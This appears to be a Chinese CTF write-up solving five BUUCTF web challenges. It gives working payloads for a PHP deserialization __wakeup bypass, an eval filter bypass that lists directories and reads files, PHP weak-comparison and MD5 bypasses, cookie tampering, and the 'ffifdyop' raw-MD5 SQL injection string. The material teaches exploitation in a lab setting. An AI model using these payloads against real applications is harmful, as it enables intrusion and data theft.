BUUCTF-Web方向16-20wp
[极客大挑战 2019]PHP
由内容提示应该存在源码备份,常见的如下,一个个尝试
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp
访问www.zip,下载下来

解压查看

index.php

flag.php

class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
写一个脚本构造
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$A=new Name();
echo serialize($A);
?>
结果如下
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
- 这里需要绕过__wakeup函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
- 由于序列化的存在空字符,故需要%00来代替,即空字符的url编码
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
拿到flag

[ACTF2020 新生赛]BackupFile
题目提示备份文件
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp
除了以上这些,还有.bak/.swp/.old,都可以试试
这里使用dirsearch扫出来index.php.bak文件,下载下来

使用记事本打开
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { //检查是否为数字
exit("Just num!");
}
$key = intval($key); //将变量转换为整数,eg:intval("cat12")=0 intval("3.14")=3
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) { //注意这里的==符号
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
由于==的特性,php是一种弱语言,所以在比较的时候,会自动将字符串转换为数字比较,即123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3=123,这里可以查看intval函数的转换机制
?key=123
?key=123e4 //123*e的4次方,但是经过转换是123
得到flag

[RoarCTF 2019]Easy Calc
打开环境,输入1+1试试

查看源码,发现calc.php,并且注释提示有waf

访问看看,代码如下
<?php
error_reporting(0);
if(!isset($_GET['num'])){ //isset:检测变量是否存在
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; //黑名单
foreach ($blacklist as $blackitem) { //blackitem在blacklist中遍历,每次调用的值进入if语句比对
if (preg_match('/' . $blackitem . '/m', $str)) { //检测$str是否包含黑名单里的字符串
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
当我们输入被过滤的字符时,返回结果不是"what are you want to do?",而是如下结果,应该被waf绕过了

测试发现可以解析数字,如果带有字符则会被过滤,尝试绕过waf并查看根目录,在num参数前添加空格绕过是为了将? num解析成?num即正常,绕过字符串无法解析
- var_dump():打印字符串
- scandir():查看指定目录并返回该目录中的文件和子目录的名称
url? num=var_dump(scandir(chr(47))) //chr(47)= / 是ascii码
url?+num=var_dump(scandir(chr(47)))
url?/**/num=var_dump(scandir(chr(47)))
查找到f1agg

此时我们需要构造 /f1agg
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
file_get_contents():读取文件的内容并将其作为字符串返回

得到flag
[极客大挑战 2019]BuyFlag
打开环境,查看源码

访问该链接

看看源码,得到下面这个信息
~~~post money and password~~~ //利用post方式传入money和password
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) { //password必须是纯数字
echo "password can't be number</br>";
}elseif ($password == 404) { //password为404,因为是==号,所以可用404ad绕过,会解析为404
echo "Password Right!</br>";
}
}
抓包看看

注意cookie这个地方,查看gpt

结合回显,需要我们是学生身份,将user=0改为user=1

此时回显,数字太长了,用科学计数法表示,在php中,1e9实际等于1*10的9次方

[BJDCTF2020]Easy MD5
打开环境,一个输入框,看看源码和网络信息,有个提示:
select * from 'admin' where password=md5($pass,true) //$pass经过md5加密后,如果可用转换回二进制则转换,否则转换回16进制

随意输入看看,有一个传参点password

这里介绍一个万能密码-ffifdyop,经过md5加密后的值再解密为16进制是'or'6É]é!r,ùíb,可用进行sql注入

成功进入

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){ //因为是弱比较,故需要a!=b但是md5值相同的
// wow, glzjin wants a girl friend.
}
利用a=240610708&b=QNKCDZO绕过

看看源码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ //强比较
echo $flag;
}
利用数组绕过

BUUCTF-Web方向16-20wp的更多相关文章
- Python Web 方向(一)
Python Web 方向(一) --------Django站点创建 文章地址:http://www.cnblogs.com/likeli/p/5821744.html Python版本:2.7 推 ...
- web方向编程语言最全对比
web方向编程语言最全对比 目前一般公司的后台用的开发语言大概有以下几种:java,python,php,asp.net,c++,node.js,ruby on rails 等. java 优点:性能 ...
- BUUCTF WEB
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- C# ASP .NET WEB方向和WPF方向,我该如何去选择
一个2012年南航毕业学软件的学生,该如何去选择我的职业方向? 2011年11分月份,我被老师介绍在南京珠江路华丽国际大厦工作,开发一个大型国际物流平台,公司的开发人员比较少,设计网站的是高校的老师, ...
- Java开发工程师(Web方向) - 04.Spring框架 - 第2章.IoC容器
第2章.IoC容器 IoC容器概述 abstract: 介绍IoC和bean的用处和使用 IoC容器处于整个Spring框架中比较核心的位置:Core Container: Beans, Core, ...
- Java开发工程师(Web方向) - 02.Servlet技术 - 第3章.Servlet应用
第3章.Servlet应用 转发与重定向 转发:浏览器发送资源请求到ServletA后,ServletA传递请求给ServletB,ServletB生成响应后返回给浏览器. 请求转发:forward: ...
- Java开发工程师(Web方向) - 02.Servlet技术 - 第1章.Servlet
第1章--Servlet Servlet简介 Servlet应用于? 浏览器发出HTTP请求,服务器接收请求后返回响应给浏览器. 接收请求后到返回响应之间: 服务器将请求对象转交给Servlet容器 ...
- 序-WEB方向指南
WEB 这个方向其实是目前从业人员最多的方向,也是学习安全门槛最低的方向,当然也是最容易恰饭的方向. 我从入行到现在也依旧没有脱离它,毕竟在我这个小城市.小圈子里,不干这个好像就要没饭吃了,但是你说它 ...
- Windows Azure Web Site (16) Azure Web Site HTTPS
<Windows Azure Platform 系列文章目录> 我们在使用微软云Azure Web App的时候,会使用微软的二级域名:http://xxx.chinacloudsites ...
随机推荐
- taro 编译报:模块引入顺序不一致报错
前情 最近在开发一个小程序项目,基于公司的技术栈是React,于是使用Taro来开发小程序. 坑位 在开发中经常性的报类似如下的错误,大致意思是说你引入模块的顺序在不同模块中不一致 Why? 主要是m ...
- 私有网盘+在线文档:内网离线搭建NextCloud+OnlyOffice详细指南
背景 最近因为工作需要,一堆内网的虚拟机之间需要频繁cp一些文件.视频等,因为都是麒麟系统,有桌面版有服务器版,用scp这种工具也是比较繁琐,索性就搭建一套内网用的共享网盘和在线文档,既方便了自己,也 ...
- 【C#】【平时作业】习题-12-事件
目录 1. 什么是事件? 2. 事件与委托的关系是什么? 3. 事件发生的类(事件发生器)的主要内容与作用? 4. 事件接收处理的类的主要内容与作用? 5. 什么是订阅事件 ? 6. 如何引发事件? ...
- 【人工智能】【Python】Numpy基础
Numpy 目录 Numpy Numpy简介 ndarray与原生Python List运算效率对比 N阶数组 ndarray (1)创建数组 (2)生成数组 生成纯1数组 生成纯0数组 从现有数组生 ...
- 【Rive】眼睛互动动画
1 前言 本文基于 Rive 社区开放的眼睛动画,进一步加工处理,实现更有趣的眼睛互动动画. 原始资源见 → Eye Joysticks Demo,效果如下. 原始资源只有一只眼睛,并且没 ...
- Qt编写地图综合应用30-世界地图
一.前言 世界地图也属于区域地图的一种,最开始做项目的时候只有国内的地图需求,后面有个客户他们的产品是面向国际市场,所以在大屏展示的时候,必须展示一张世界地图,所有箭头动态流向中国,当然这些都要离线使 ...
- Qt音视频开发32-Onvif网络设置
一.前言 用onvif协议来对设备的网络信息进行获取和设置,这个操作在众多的NVR产品中,用的很少,绝大部分用户都还是习惯直接通过摄像机的web页面进去配置,其实修改网络配置的功能在大部分的NVR中都 ...
- ESLint is disabled since its execution has not been approved or denied yet
VS Code 装好ESLint 插件报黄线的问题,具体解决方法如下所示: ESLint is disabled since its execution has not been approved o ...
- VEP注释文件下载网址
Ensembl提供多个物种的注释文件: ftp://ftp.ensembl.org/pub/release-96/variation/VEP
- 《刚刚问世》系列初窥篇-Java+Playwright自动化测试-11- 标签页(tab)操作 - 下篇 (详细教程)
1.简介 本来按照计划这一系列的文章应该介绍Context和Page两个内容的,但是宏哥看了官方文档和查找资料发现其实和宏哥在Python+Playwright系列文章中的大同小异,差不了多少,再在这 ...